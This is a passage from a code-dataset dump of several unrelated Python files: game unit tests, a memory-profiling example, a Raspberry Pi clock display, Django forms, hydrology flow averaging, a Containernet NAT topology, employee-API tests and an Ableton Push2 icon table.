défenseur dans la liste de joueurs de l'objet Un_Tour_Hn.\r\n *La méthode placer_une_foreuse de la classe Un_Tour_Hn fonctionne bien;\r\n c'est-à-dire que le défenseur obtient bien un objet Foreuse, et que cette\r\n foreuse est bien placée dans la zone de terrain constructible.\r\n \"\"\"\r\n L = Carte.L\r\n H = Carte.H\r\n x,y = Carte.dims\r\n x_inf_b = (x - L )//2 +1\r\n x_sup_b = (x + L)//2 \r\n y_inf_b = (y - H)//2 +1\r\n y_sup_b = (y + H)//2 \r\n Terrain_const = Carte.ss_carte[x_inf_b:x_sup_b,y_inf_b:y_sup_b]\r\n Carte.L_joueur[0].metal_tot = 30\r\n Carte.L_joueur[0].energie_tot = 30\r\n Tr_jeu_0_Hn = Carte.TrHn\r\n self.assertEqual(Tr_jeu_0_Hn.L_joueur[0].metal_tot, 30)\r\n self.assertEqual(Tr_jeu_0_Hn.L_joueur[0].energie_tot, 30)\r\n for k in range(3):\r\n Tr_jeu_0_Hn.placer_une_foreuse()\r\n self.assertIn(Game.L_joueur[0]._liste_bat[2][-1],Terrain_const)\r\n \r\n def testPlacer_Unite_IA_0(self):\r\n \"\"\"\r\n Test vérifiant le bon fonctionnement de la méthode de productions d'unité\r\n attaquantes, pour le joueur IA.\r\n Elle vérifie :\r\n *Que l'attaquant 1 obtienne bien l'unité Scorpion crée.\r\n *Que ce Scorpion se trouve bien dans la zone d'apparition des unités\r\n attaquantes, sur la carte.\r\n *Que la variable unite_disp_par_tour ne change pas avec la production\r\n d'une unité d'attaque.\r\n \"\"\" \r\n x, y = GamePC.carte.dims\r\n TrPC = Tr_jeu_0_IAA\r\n TrPC.unite_disp_par_tour = 1\r\n \r\n L_Ht = TrPC.placement_pos(0,TrPC.Epp + 1,(y -TrPC.H )//2,(y + TrPC.H )//2,' ')\r\n self.assertEqual(len(L_Ht),(TrPC.Epp+1)*TrPC.H)\r\n \r\n L_Bas = TrPC.placement_pos(x-1-TrPC.Epp, x,(y - TrPC.H)//2,(y + TrPC.H )//2,' ')\r\n self.assertEqual(len(L_Bas),(TrPC.Epp+1)*TrPC.H)\r\n \r\n L_Gche = TrPC.placement_pos((x - TrPC.L)//2 , (x + TrPC.L )//2,0, TrPC.Epp+1,' ')\r\n self.assertEqual(len(L_Gche),(TrPC.Epp+1)*TrPC.L)\r\n \r\n L_Dte = TrPC.placement_pos((x - TrPC.L )//2,(x + TrPC.L )//2,y -1- TrPC.Epp, y,' ')\r\n self.assertEqual(len(L_Dte),(TrPC.Epp+1)*TrPC.L)\r\n \r\n L_pos = L_Ht + L_Bas + L_Gche + L_Dte \r\n for k in range(3): \r\n TrPC.production_unite_attaque_IA_0(1)\r\n self.assertIn(GamePC.L_joueur[1]._liste_unite[-1].coords,L_pos)\r\n self.assertEqual(TrPC.unite_disp_par_tour,1)\r\n\r\n\r\n \r\nif __name__ == \"__main__\":\r\n Game = Partie(0,3)\r\n GamePC = Partie(2,)\r\n Carte = Game.carte\r\n Tr_jeu_0_Hn = Carte.TrHn\r\n Tr_jeu_0_IA = Carte.TrIA \r\n Tr_jeu_0_IAA = GamePC.carte.TrIA\r\n unittest.main()\r\n \r\n","sub_path":"Game_test.py","file_name":"Game_test.py","file_ext":"py","file_size_in_byte":13758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"403763607","text":"## Sample code taken from Official Library repository https://github.com/pythonprofilers/memory_profiler/blob/master/examples/numpy_example.py\n\nimport numpy as np\nimport scipy.signal\nfrom memory_profiler import profile\n\n@profile(precision=4)\ndef create_data():\n ret = []\n for n in range(50):\n ret.append(np.random.randn(1, 70, 71, 72))\n return ret\n \n@profile(precision=4)\ndef process_data(data):\n data = np.concatenate(data)\n detrended = scipy.signal.detrend(data, axis=0)\n return detrended\n\nif __name__ == \"__main__\":\n raw_data = create_data()\n processed_data = process_data(raw_data)","sub_path":"memory/memory_profiler_end/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"14334526","text":"import smbus\nimport time\nimport spidev as SPI\nimport SSD1306\nimport time\n\n\nfrom PIL import Image \nfrom PIL import ImageDraw\nfrom PIL import ImageFont \n\n\n \ndef ds3231SetTime(bus, address, register, current_time):\n bus.write_i2c_block_data(address,register,current_time)\n\ndef ds3231ReadTime(bus, address, register):\n return bus.read_i2c_block_data(address,register,7)\n\n# call the alarm on\ndef alarm_on(bus, address):\n bus.write_byte(address, 0x7F & bus.read_byte(address))\n\n# call the alarm off\ndef alarm_off(bus, address):\n bus.write_byte(address, 0x80 | bus.read_byte(address))\n\ndef bcd2bin(input) :\n tmp = (input % 16) + (input // 16) * 10\n return tmp\n\ndef bin2bcd(input) :\n tmp = (input % 10) + (input // 10) * 16\n return tmp\n\n\ndef get_time_info(time_array):\n \n year = time_array[6]\n mon = time_array[5]\n day = time_array[4]\n hour = time_array[2]\n min = time_array[1]\n sec = time_array[0]\n \n time_info = ['YYMMDD','HHMMSS','CNTDOWNDH', 'CNTDOWNMS']\n time_info[0] = '%2.2i:%2.2i:%2.2i'%(year,mon,day)\n time_info[1] = '%2.2i:%2.2i:%2.2i'%(hour,min,sec)\n \n remain_days = 30 + 3 - day\n remain_hours= 23 - hour\n remain_mins = 59 - min\n remain_secs = 60 - sec\n \n time_info[2] = '%2.2iD:%2.2iH'%(remain_days, remain_hours)\n time_info[3] = '%2.2iM:%2.2iS'%(remain_mins, remain_secs)\n return time_info\n\n\n\n\n \naddress = 0x68\nregister = 0x00\nbus = smbus.SMBus(1)\n\n# time parameter from package time\nlocal_time = time.localtime()\nprint('local time is :', time.localtime())\n\n\n# time array converted from local time\ncurrent_time = [0x00,0x00,0x00,0x04,0x19,0x04,0x18]\ncurrent_time[0] = bin2bcd(local_time.tm_sec)\ncurrent_time[1] = bin2bcd(local_time.tm_min)\ncurrent_time[2] = bin2bcd(local_time.tm_hour)\n\n\n\nprint('config rtc ds3231\\n')\nds3231SetTime(bus, address, register, current_time)\n\n\n\n\n\nRST = 19\nDC = 16\ndevice = 0\ndisp=SSD1306.SSD1306(rst=RST,dc=DC,spi=SPI.SpiDev(0,device))\n\n\nimage= Image.new('1',(128,64))\ndraw = ImageDraw.Draw(image)\nfont = ImageFont.load_default()\n\nlogo=Image.open('pku_logo.png').convert('1')\nlogo=logo.resize((64,64))\n\ndisp.begin()\ndisp.clear()\n\n\n\n\n\n\n\n\n\nprint('start')\nrtc_time = [0x00,0x00,0x00,0x00,0x00,0x00,0x00]\ntry:\n while(True):\n\n \n rtc_time = ds3231ReadTime(bus, address, register)\n for i in range(7):\n rtc_time[i] = bcd2bin(rtc_time[i])\n \n if((rtc_time[0]%10)==0):\n alarm_on(bus, 0x20)\n else:\n alarm_off(bus, 0x20)\n\n\n\n\n disp.clear()\n \n draw.rectangle((0,0,127,63),outline=1,fill=0)\n\n draw.bitmap((0,0),logo,fill=1)\n\n time_info = get_time_info(rtc_time) \n\n draw.text((65,2), time_info[0],font=font,fill=255)\n draw.text((75,16),time_info[1],font=font,fill=255)\n \n draw.text((65,26),'Count Down',font=font,fill=255)\n draw.text((75,38),time_info[2],font=font,fill=255)\n draw.text((75,50),time_info[3],font=font,fill=255)\n\n disp.image(image)\n disp.display()\n time.sleep(0.1)\n \n\nexcept KeyboardInterrupt:\n pass\t\n\n","sub_path":"lab_5/count_down_alarm.py","file_name":"count_down_alarm.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"505067489","text":"from django import forms\nfrom main_gusto.models import Category, Dish\n\n\nclass CategoryForm(forms.ModelForm):\n title = forms.CharField(max_length=15,\n widget=forms.TextInput(attrs={'placeholder': \"Название\", 'required': \"required\"}))\n category_order = forms.IntegerField(\n widget=forms.TextInput(attrs={'placeholder': \"Порядок категории в меню\", 'required': \"required\"}))\n photo = forms.ImageField(widget=forms.FileInput())\n is_visible = forms.BooleanField(initial=True, required=False)\n\n class Meta:\n model = Category\n fields = ('title', 'photo', 'category_order', 'is_visible')\n\n\nclass DishForm(forms.ModelForm):\n\n\n class Meta(object):\n model = Dish\n fields = ('title', 'photo', 'price', 'is_visible', 'desc')\n\n\n","sub_path":"admin_gusto/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"506265253","text":"# %%\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# %%\n\n\ndef hist_daily_mean(data, end_year):\n \"\"\" Calculates the historical daily flow mean.\n ----------\n Parameters:\n data: dataframe\n input data with year, month, day and flow columns.\n end_year: integer\n last year (no inclusive) as historical flow.\n ----------\n Returns:\n hist_flow: dataframe\n \"\"\"\n hist_flow = pd.DataFrame(columns=['month', 'day', 'flow'])\n for m in range(12):\n if m == 1:\n days = 29\n\n if m == 3 or m == 5 or m == 8 or m == 10:\n days = 30\n\n if m == 0 or m == 2 or m == 4 or m == 6 or m == 7 or m == 9 or m == 11:\n days = 31\n\n for i in range(days):\n hist_flow = hist_flow.append({\n 'month': (m+1), 'day': (i+1),\n 'flow': round(\n data[(data['year'] != end_year) &\n (data['month'] == m+1) &\n (data['day'] == i+1)]['flow'].mean(), 3)},\n ignore_index=True)\n return hist_flow\n\n# %%\n\n\ndef weekly_mean(data, fmonth, fday, weeks, year=None):\n \"\"\"Calculates the weekly flow mean since the input date\n for a number of weeks. Useful when don't have a datetime column.\n ----------\n Parameters:\n data: dataframe\n input data with year(optional), month, day and flow columns.\n fmonth: integer\n first month of the first week.\n fday: integer\n first day of the first week.\n weeks: integer\n number of weeks for calculating the weekly mean.\n year: integer\n a specific year.\n ----------\n Returns:\n week_mean: dataframe\n \"\"\"\n week_mean = []\n for i in range(16):\n eday = (fday + 6)\n if eday > 31:\n eday = (eday-31) + (6-(eday-31))\n fmonth += 1\n\n if year is None:\n if eday > fday:\n meandata = data[(data[\"month\"] == fmonth) &\n (data[\"day\"] >= fday) &\n (data[\"day\"] <= eday)][\"flow\"].mean()\n else:\n meandata = (data[(data[\"month\"] == fmonth-1) &\n (data[\"day\"] >= fday)][\"flow\"].mean() +\n data[(data[\"month\"] == fmonth) &\n (data[\"day\"] <= eday)][\"flow\"].mean())/2\n else:\n if eday > fday:\n meandata = data[(data[\"year\"] == year) &\n (data[\"month\"] == fmonth) &\n (data[\"day\"] >= fday) &\n (data[\"day\"] <= eday)][\"flow\"].mean()\n else:\n meandata = (data[(data[\"year\"] == year) &\n (data[\"month\"] == fmonth-1) &\n (data[\"day\"] >= fday)][\"flow\"].mean() +\n data[(data[\"year\"] == year) &\n (data[\"month\"] == fmonth) &\n (data[\"day\"] <= eday)][\"flow\"].mean())/2\n week_mean.append(round(meandata, 3))\n fday = eday + 1\n\n return week_mean\n\n# %%\n\n\ndef plot_3series(historical, observed, predicted, observed_year):\n \"\"\" generates a line plot with 3 time series\n ----------\n Parameters:\n historical, observed, predicted: dataframe, array or list.\n Contains the series to plot.\n\n observed_year: integer.\n Specify the observed serie year.\n ----------\n Returns: shows and saves the plot figure.\n \"\"\"\n plt.style.use('seaborn-bright')\n fig, ax = plt.subplots()\n ax.plot(historical, color='Green', label='Historical Mean')\n ax.plot(observed, color='blue', label=str(observed_year)+' weekly flows')\n ax.plot(predicted, color='Red', label='weekly predicted flows',\n linestyle=\"--\")\n ax.set(title=\"Observed & Predicted Flow\", xlabel=\"Weeks\",\n ylabel=\"Weekly Avg Flow [cfs]\")\n ax.legend()\n\n fig.savefig('Obs_&_pred_flows.png')\n\n# %%\n","sub_path":"Submissions/plot_function.py","file_name":"plot_function.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"234814168","text":"#!/user/bin/python\nfrom mininet.net import Containernet\nfrom mininet.node import Docker\nfrom mininet.cli import CLI\nfrom mininet.log import setLogLevel,info\nfrom mininet.link import TCLink,Link\n\ndef topology():\n net=Containernet()\n \n info(\"Adding hosts\")\n h1=net.addHost('h1',ip='192.168.0.1/24')\n r1=net.addHost('r1',ip='192.168.0.254/24')\n d1=net.addDocker('d1',ip='10.0.0.1/24',dimage='smallko/php-apache-dev:v10')\n\n info(\"Create links\")\n net.addLink(h1,r1)\n net.addLink(r1,d1)\n\n info(\"Starting network\")\n net.start()\n d1.cmd(\"/etc/init.d/ssh start\")\n r1.cmd(\"ifconfig r1-eth1 0\")\n r1.cmd(\"ifconfig r1-eth1 10.0.0.2/24\")\n r1.cmd(\"echo 1 > /proc/sys/net/ipv4/ip_forward\")\n r1.cmd(\"iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o r1-eth1 -j MASQUERADE\")\n h1.cmd(\"ip route add default via 192.168.0.254\")\n\n info(\"Running CLI\")\n CLI(net)\n\n info(\"Atopping network\")\n net.stop()\n\nif __name__==\"__main__\":\n setLogLevel('info')\n topology()","sub_path":"practice2/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"144757777","text":"# 按照设计顺序编写员工模块的增删改查场景测试用例脚本\n# 如果能够按照设计顺序实现员工的增删改查，那么就证明，能够对员工模块进行操作了\n# 也就证明大家能够使用代码完成接口测试了。\n\n# 导包\nimport unittest\nimport logging\nimport requests\nimport app\nfrom api.login_api import LoginApi\n\n\n# 创建测试类\nfrom utils import assert_common_utils\n\n\nclass TestEmp(unittest.TestCase):\n # 初始化\n def setUp(self):\n # 实例化封装的登录接口\n self.login_api = LoginApi()\n # 定义员工模块的URL\n self.emp_url = \"http://182.92.81.159\" + \"/api/sys/user\"\n\n def tearDown(self):\n pass\n\n # 编写测试员工增删改查的案例\n def test01_test_emp_operation(self):\n # 1 实现登录接口\n response = self.login_api.login({\"mobile\": \"13800000002\", \"password\": \"123456\"},\n headers=app.HEADERS)\n # 获取登录接口返回的json数据\n result = response.json()\n # 输出登录的结果\n logging.info(\"员工模块登录接口的结果为：{}\".format(result))\n # 把令牌提取出来，并保存到请求头当中\n token = result.get(\"data\")\n headers = {\"Content-Type\": \"application/json\", \"Authorization\": \"Bearer \" + token}\n logging.info(\"登录成功后设置的请求头为：{}\".format(headers))\n # 断言\n assert_common_utils(self,response,200,True,10000,\"操作成功\")\n # 2 实现添加员工接口\n response = requests.post(self.emp_url, json={\n \"username\": \"尼古6拉斯特斯拉\",\n \"mobile\": \"18887342567\",\n \"timeOfEntry\": \"2020-03-16\",\n \"formOfEmployment\": 2,\n \"departmentName\": \"snowsnow\",\n \"departmentId\": \"1226092852421177344\", \"correctionTime\": \"2020-03-15T16:00:00.000Z\"\n },\n headers=headers)\n # 打印添加的结果\n logging.info(\"添加员工的结果为：{}\".format(response.json()))\n # 获取添加员工返回的json数据\n add_result = response.json()\n # 把员工id提取出来，并保存到变量当中\n emp_id = add_result.get(\"data\").get(\"id\")\n # 打印获取的员工ID\n logging.info(\"获取员工ID为：{}\".format(emp_id))\n # 断言\n assert_common_utils(self, response, 200, True, 10000, \"操作成功\")\n # 3 实现查询员工接口\n # 查询员工的url\n query_emp_url = self.emp_url + \"/\" + emp_id\n # 打印拼接的URL\n logging.info(\"查询员工接口的URL为：{}\".format(query_emp_url))\n # 发送查询员工的接口请求\n response = requests.get(url=query_emp_url,headers=headers)\n # 打印查询员工的结果\n logging.info(\"查询员工的结果为：{}\".format(response.json()))\n # 断言\n assert_common_utils(self, response, 200, True, 10000, \"操作成功\")\n\n # 4 实现修改员工接口\n # 修改员工的url\n modify_emp_url = self.emp_url + \"/\" + emp_id\n # 打印拼接的URL\n logging.info(\"修改员工接口的URL为：{}\".format(modify_emp_url))\n # 发送修改员工的接口请求\n response = requests.put(url=query_emp_url,json={\"username\": \"赵四\"},\n headers=headers)\n # 打印修改员工的结果\n logging.info(\"修改员工的结果为: {}\".format(response.json()))\n # 断言\n assert_common_utils(self, response, 200, True, 10000, \"操作成功\")\n\n # 5 实现删除员工接口\n # 删除员工的url\n delete_emp_url = self.emp_url + \"/\" + emp_id\n # 打印拼接的URL\n logging.info(\"删除员工接口的URL为：{}\".format(delete_emp_url))\n # 发送删除员工的接口请求\n response = requests.delete(url=query_emp_url,headers=headers)\n # 打印修改员工的结果\n logging.info(\"删除员工的结果为: {}\".format(response.json()))\n # 断言\n assert_common_utils(self, response, 200, True, 10000, \"操作成功\")\n","sub_path":"script/test_emp_00.py","file_name":"test_emp_00.py","file_ext":"py","file_size_in_byte":4452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"263820278","text":"# uncompyle6 version 3.4.1\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar 2 2019, 14:32:10) \n# [GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)]\n# Embedded file name: /Users/versonator/Jenkins/live/output/mac_64_static/Release/python-bundle/MIDI Remote Scripts/Push2/device_parameter_icons.py\n# Compiled at: 2019-05-08 17:06:57\nfrom __future__ import absolute_import, print_function, unicode_literals\nIMAGE_ID_TO_FILENAME = {'amp_bass': (u'amp_bass.svg', u''), \n 'amp_blues': (u'amp_blues.svg', u''), \n 'amp_boost': (u'amp_boost.svg', u''), \n 'amp_clean': (u'amp_clean.svg', u''), \n 'amp_heavy': (u'amp_heavy.svg', u''), \n 'amp_lead': (u'amp_lead.svg', u''), \n 'amp_rock': (u'amp_rock.svg', u''), \n 'armed': (u'armed.svg', u''), \n 'cabinet_1x12': (u'cabinet_1x12.svg', u''), \n 'cabinet_2x12': (u'cabinet_2x12.svg', u''), \n 'cabinet_4x10': (u'cabinet_4x10.svg', u''), \n 'cabinet_4x10bass': (u'cabinet_4x10bass.svg', u''), \n 'cabinet_4x12': (u'cabinet_4x12.svg', u''), \n 'cancel_x': (u'cancel_x.svg', u''), \n 'circuit_clean': (u'circuit_clean.svg', u''), \n 'circuit_ms2': (u'circuit_ms2.svg', u''), \n 'circuit_osr': (u'circuit_osr.svg', u''), \n 'circuit_prd': (u'circuit_prd.svg', u''), \n 'circuit_smp': (u'circuit_smp.svg', u''), \n 'co_beam': (u'co_beam.svg', u''), \n 'co_marimba': (u'co_marimba.svg', u''), \n 'co_membrane': (u'co_membrane.svg', u''), \n 'co_pipe': (u'co_pipe.svg', u''), \n 'co_plate': (u'co_plate.svg', u''), \n 'co_string': (u'co_string.svg', u''), \n 'co_tube': (u'co_tube.svg', u''), \n 'compressor_expand': (u'compressor_expand.svg', u''), \n 'compressor_peak': (u'compressor_peak.svg', u''), \n 'compressor_rms': (u'compressor_rms.svg', u''), \n 'control_off': (u'control_off.svg', u''), \n 'control_on': (u'control_on.svg', u''), \n 'delay_16th_1': (u'delay_16th_1.svg', u''), \n 'delay_16th_2': (u'delay_16th_2.svg', u''), \n 'delay_16th_3': (u'delay_16th_3.svg', u''), \n 'delay_16th_4': (u'delay_16th_4.svg', u''), \n 'delay_16th_5': (u'delay_16th_5.svg', u''), \n 'delay_16th_6': (u'delay_16th_6.svg', u''), \n 'delay_16th_8': (u'delay_16th_8.svg', u''), \n 'delay_16th_16': (u'delay_16th_16.svg', u''), \n 'delay_pingping_on': (u'delay_pingping_on.svg', u''), \n 'delay_pingping_off': (u'delay_pingping_off.svg', u''), \n 'device_pad': (u'device_pad.svg', u''), \n 'device_rack_drum': (u'device_rack_drum.svg', u''), \n 'device_rack_effect': (u'device_rack_effect.svg', u''), \n 'device_rack_instrument': (u'device_rack_instrument.svg', u''), \n 'drumbuss_soft': (u'drumbuss_soft.svg', u''), \n 'drumbuss_medium': (u'drumbuss_medium.svg', u''), \n 'drumbuss_hard': (u'drumbuss_hard.svg', u''), \n 'echo_16th': (u'echo_16th.svg', u''), \n 'echo_dotted': (u'echo_dotted.svg', u''), \n 'echo_note': (u'echo_note.svg', u''), \n 'echo_triplet': (u'echo_triplet.svg', u''), \n 'eq8_band1': (u'eq8_band1.svg', u''), \n 'eq8_band2': (u'eq8_band2.svg', u''), \n 'eq8_band3': (u'eq8_band3.svg', u''), \n 'eq8_band4': (u'eq8_band4.svg', u''), \n 'eq8_band5': (u'eq8_band5.svg', u''), \n 'eq8_band6': (u'eq8_band6.svg', u''), \n 'eq8_band7': (u'eq8_band7.svg', u''), \n 'eq8_band8': (u'eq8_band8.svg', u''), \n 'filter_band_12': (u'filter_band_12.svg', u'12BandPass_small.svg'), \n 'filter_band_24': (u'filter_band_24.svg', u'24BandPass_small.svg'), \n 'filter_band_6': (u'filter_band_6.svg', u''), \n 'filter_band_ladr': (u'filter_band_ladr.svg', u''), \n 'filter_band_ms2': (u'filter_band_ms2.svg', u''), \n 'filter_band_osr': (u'filter_band_osr.svg', u''), \n 'filter_band_prd': (u'filter_band_prd.svg', u''), \n 'filter_band_svf': (u'filter_band_svf.svg', u''), \n 'filter_bell': (u'filter_bell.svg', u'Bell_small.svg'), \n 'filter_formant_12': (u'filter_formant_12.svg', u''), \n 'filter_formant_6': (u'filter_formant_6.svg', u''), \n 'filter_high_12': (u'filter_high_12.svg', u'12HighPass_small.svg'), \n 'filter_high_24': (u'filter_high_24.svg', u'24HighPass_small.svg'), \n 'filter_high_48': (u'filter_high_48.svg', u'24HighPass_small.svg'), \n 'filter_high_ladr': (u'filter_high_ladr.svg', u''), \n 'filter_high_ms2': (u'filter_high_ms2.svg', u''), \n 'filter_high_osr': (u'filter_high_osr.svg', u''), \n 'filter_high_prd': (u'filter_high_prd.svg', u''), \n 'filter_high_shelf': (u'filter_high_shelf.svg', u'HighShelf_small.svg'), \n 'filter_high_svf': (u'filter_high_svf.svg', u''), \n 'filter_low_12': (u'filter_low_12.svg', u'12LowPass_small.svg'), \n 'filter_low_24': (u'filter_low_24.svg', u'24LowPass_small.svg'), \n 'filter_low_48': (u'filter_low_24.svg', u'24LowPass_small.svg'), \n 'filter_low_ladr': (u'filter_low_ladr.svg', u''), \n 'filter_low_ms2': (u'filter_low_ms2.svg', u''), \n 'filter_low_osr': (u'filter_low_osr.svg', u''), \n 'filter_low_prd': (u'filter_low_prd.svg', u''), \n 'filter_low_shelf': (u'filter_low_shelf.svg', u'LowShelf_small.svg'), \n 'filter_low_svf': (u'filter_low_svf.svg', u''), \n 'filter_morph_12': (u'filter_morph_12.svg', u'12Morph_small.svg'), \n 'filter_morph_24': (u'filter_morph_24.svg', u'24Morph_small.svg'), \n 'filter_notch_12': (u'filter_notch_12.svg', u'12Notch_small.svg'), \n 'filter_notch_24': (u'filter_notch_24.svg', u'24Notch_small.svg'), \n 'icon_horizontal1': (u'icon_horizontal1.svg', u''), \n 'icon_horizontal15': (u'icon_horizontal15.svg', u''), \n 'lfo_free': (u'lfo_free.svg', u''), \n 'lfo_phase': (u'lfo_phase.svg', u''), \n 'lfo_spin': (u'lfo_spin.svg', u''), \n 'lfo_sync': (u'lfo_sync.svg', u''), \n 'lfo_sine_small': (u'', u'lfo_sine_small.svg'), \n 'lfo_triangle_small': (u'', u'lfo_triangle_small.svg'), \n 'lfo_saw_up_small': (u'', u'lfo_saw_up_small.svg'), \n 'lfo_saw_down_small': (u'', u'lfo_saw_down_small.svg'), \n 'lfo_square_small': (u'', u'lfo_square_small.svg'), \n 'lfo_random_small': (u'', u'lfo_random_small.svg'), \n 'mic_condenser': (u'mic_condenser.svg', u''), \n 'mic_dynamic': (u'mic_dynamic.svg', u''), \n 'mic_far': (u'mic_far.svg', u''), \n 'mic_nearoff': (u'mic_nearoff.svg', u''), \n 'mic_nearon': (u'mic_nearon.svg', u''), \n 'osc_a': (u'osc_a.svg', u''), \n 'osc_alg_1': (u'osc_alg_1.svg', u''), \n 'osc_alg_10': (u'osc_alg_10.svg', u''), \n 'osc_alg_11': (u'osc_alg_11.svg', u''), \n 'osc_alg_2': (u'osc_alg_2.svg', u''), \n 'osc_alg_3': (u'osc_alg_3.svg', u''), \n 'osc_alg_4': (u'osc_alg_4.svg', u''), \n 'osc_alg_5': (u'osc_alg_5.svg', u''), \n 'osc_alg_6': (u'osc_alg_6.svg', u''), \n 'osc_alg_7': (u'osc_alg_7.svg', u''), \n 'osc_alg_8': (u'osc_alg_8.svg', u''), \n 'osc_alg_9': (u'osc_alg_9.svg', u''), \n 'osc_b': (u'osc_b.svg', u''), \n 'osc_c': (u'osc_c.svg', u''), \n 'osc_d': (u'osc_d.svg', u''), \n 'pedal_distortion': (u'pedal_distortion.svg', u''), \n 'pedal_fuzz': (u'pedal_fuzz.svg', u''), \n 'pedal_overdrive': (u'pedal_overdrive.svg', u''), \n 'phase_inverted': (u'phase_inverted.svg', u''), \n 'phase_normal': (u'phase_normal.svg', u''), \n 'route_in': (u'route_in.svg', u''), \n 'route_out': (u'route_out.svg', u''), \n 'simpler_1shot': (u'simpler_1shot.svg', u''), \n 'simpler_adsr': (u'simpler_adsr.svg', u''), \n 'simpler_slice': (u'simpler_slice.svg', u''), \n 'tension_bow': (u'tension_bow.svg', u''), \n 'tension_hammer': (u'tension_hammer.svg', u''), \n 'tension_hammerbounce': (u'tension_hammerbounce.svg', u''), \n 'tension_plectrum': (u'tension_plectrum.svg', u''), \n 'tension_plectum': (u'tension_plectum.svg', u''), \n 'track_group': (u'track_group.svg', u''), \n 'tube_a': (u'tube_a.svg', u''), \n 'utility_left': (u'utility_left.svg', u''), \n 'utility_right': (u'utility_right.svg', u''), \n 'utility_stereo': (u'utility_stereo.svg', u''), \n 'utility_swap': (u'utility_swap.svg', u''), \n 'tube_b': (u'tube_b.svg', u''), \n 'tube_c': (u'tube_c.svg', u''), \n 'voices_2': (u'voices_2.svg', u''), \n 'voices_3': (u'voices_3.svg', u''), \n 'voices_4': (u'voices_4.svg', u''), \n 'voices_5': (u'voices_5.svg', u''), \n 'voices_6': (u'voices_6.svg', u''), \n 'voices_7': (u'voices_7.svg', u''), \n 'voices_8': (u'voices_8.svg', u''), \n 'wave_noise_loop': (u'wave_noise_loop.svg', u''), \n 'wave_noise_white': (u'wave_noise_white.svg', u''), \n 'wave_saw_16': (u'wave_saw_16.svg', u''), \n 'wave_saw_3': (u'wave_saw_3.svg', u''), \n 'wave_saw_32': (u'wave_saw_32.svg', u''), \n 'wave_saw_4': (u'wave_saw_4.svg', u''), \n 'wave_saw_6': (u'wave_saw_6.svg', u''), \n 'wave_saw_64': (u'wave_saw_64.svg', u''), \n 'wave_saw_8': (u'wave_saw_8.svg', u''), \n 'wave_saw_down': (u'wave_saw_down.svg', u''), \n 'wave_saw_up': (u'wave_saw_up.svg', u''), \n 'wave_sh_mono': (u'wave_sh_mono.svg', u''), \n 'wave_sh_stereo': (u'wave_sh_stereo.svg', u''), \n 'wave_sine': (u'wave_sine.svg', u''), \n 'wave_sine_4bit': (u'wave_sine_4bit.svg', u''), \n 'wave_sine_8bit': (u'wave_sine_8bit.svg', u''), \n 'wave_square': (u'wave_square.svg', u''), \n 'wave_square_16': (u'wave_square_16.svg', u''), \n 'wave_square_3': (u'wave_square_3.svg', u''), \n 'wave_square_32': (u'wave_square_32.svg', u''), \n 'wave_square_4': (u'wave_square_4.svg', u''), \n 'wave_square_6': (u'wave_square_6.svg', u''), \n 'wave_square_64': (u'wave_square_64.svg', u''), \n 'wave_square_8': (u'wave_square_8.svg', u''), \n 'wave_triangle': (u'wave_triangle.svg', u''), \n 'wave_user': (u'wave_user.svg', u''), \n 'wavetable_effect_classic': (u'wavetable_effect_classic.svg', u''), \n 'wavetable_effect_fm': (u'wavetable_effect_fm.svg', u''), \n 'wavetable_effect_modern': (u'wavetable_effect_modern.svg', u''), \n 'wavetable_effect_none': (u'wavetable_effect_none.svg', u''), \n 'wavetable_env_loop': (u'wavetable_env_loop.svg', u''), \n 'wavetable_env_loop_none': (u'wavetable_env_loop_none.svg', u''), \n 'wavetable_env_loop_trigger': (u'wavetable_env_loop_trigger.svg', u''), \n 'wavetable_env_slope': (u'wavetable_env_slope.svg', u''), \n 'wavetable_env_time': (u'wavetable_env_time.svg', u''), \n 'wavetable_env_value': (u'wavetable_env_value.svg', u''), \n 'wavetable_filter_1': (u'', u'wavetable_filter_1_small.svg'), \n 'wavetable_filter_2': (u'', u'wavetable_filter_2_small.svg'), \n 'wavetable_filter_3': (u'', u'wavetable_filter_3_small.svg'), \n 'wavetable_filter_4': (u'', u'wavetable_filter_4_small.svg'), \n 'wavetable_filter_5': (u'', u'wavetable_filter_5_small.svg'), \n 'wavetable_filter_switch_1': (u'wavetable_filter_switch_1.svg', u''), \n 'wavetable_filter_switch_2': (u'wavetable_filter_switch_2.svg', u''), \n 'wavetable_octave_0': (u'wavetable_octave_0.svg', u''), \n 'wavetable_octave_minus_1': (u'wavetable_octave_minus_1.svg', u''), \n 'wavetable_octave_minus_2': (u'wavetable_octave_minus_2.svg', u''), \n 'wavetable_osc_1': (u'wavetable_osc_1.svg', u''), \n 'wavetable_osc_2': (u'wavetable_osc_2.svg', u''), \n 'wavetable_osc_mix': (u'wavetable_osc_mix.svg', u''), \n 'wavetable_osc_sub': (u'wavetable_osc_sub.svg', u''), \n 'wavetable_routing_parallel': (u'wavetable_routing_parallel.svg', u''), \n 'wavetable_routing_serial': (u'wavetable_routing_serial.svg', u''), \n 'wavetable_routing_split': (u'wavetable_routing_split.svg', u''), \n 'wavetable_unison_classic': (u'wavetable_unison_classic.svg', u''), \n 'wavetable_unison_shimmer': (u'wavetable_unison_shimmer.svg', u''), \n 'wavetable_unison_noise': (u'wavetable_unison_noise.svg', u''), \n 'wavetable_unison_none': (u'wavetable_unison_none.svg', u''), \n 'wavetable_unison_phase_sync': (u'wavetable_unison_phase_sync.svg', u''), \n 'wavetable_unison_position_spread': 